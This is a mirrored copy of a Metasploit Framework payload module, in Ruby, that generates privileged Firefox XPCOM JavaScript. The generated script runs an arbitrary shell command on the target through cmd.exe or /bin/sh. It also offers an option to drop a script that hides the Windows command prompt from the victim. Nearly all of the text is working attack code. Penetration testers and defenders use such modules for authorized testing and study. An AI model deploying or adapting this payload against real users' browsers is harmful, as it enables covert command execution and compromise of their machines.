Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/firefox/exec.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 101989include Msf::Payload::Single10include Msf::Payload::Firefox1112def initialize(info={})13super(merge_info(info,14'Name' => 'Firefox XPCOM Execute Command',15'Description' => %Q|16This module runs a shell command on the target OS without touching the disk.17On Windows, this command will flash the command prompt momentarily.18This can be avoided by setting WSCRIPT to true, which drops a jscript19"launcher" to disk that hides the prompt.20|,21'Author' => ['joev'],22'License' => BSD_LICENSE,23'Platform' => 'firefox',24'Arch' => ARCH_FIREFOX25))26register_options([27OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']),28OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false])29])30end3132def generate(_opts = {})33<<-EOS3435(function(){36window = this;37#{read_file_source if datastore['WSCRIPT']}38#{run_cmd_source if datastore['WSCRIPT']}3940var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]41.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;42var windows = (ua.indexOf("Windows")>-1);4344var cmd = (#{JSON.unparse({ :cmd => datastore['CMD'] })}).cmd;45if (#{datastore['WSCRIPT']} && windows) {46runCmd(cmd);47} else {48var process = Components.classes["@mozilla.org/process/util;1"]49.createInstance(Components.interfaces.nsIProcess);50var sh = Components.classes["@mozilla.org/file/local;1"]51.createInstance(Components.interfaces.nsILocalFile);52var args;53if (windows) {54sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");55args = ["/c", cmd];56} else {57sh.initWithPath("/bin/sh");58args = ["-c", cmd];59}60process.init(sh);61process.run(true, args, args.length);62}63})();6465EOS66end67end686970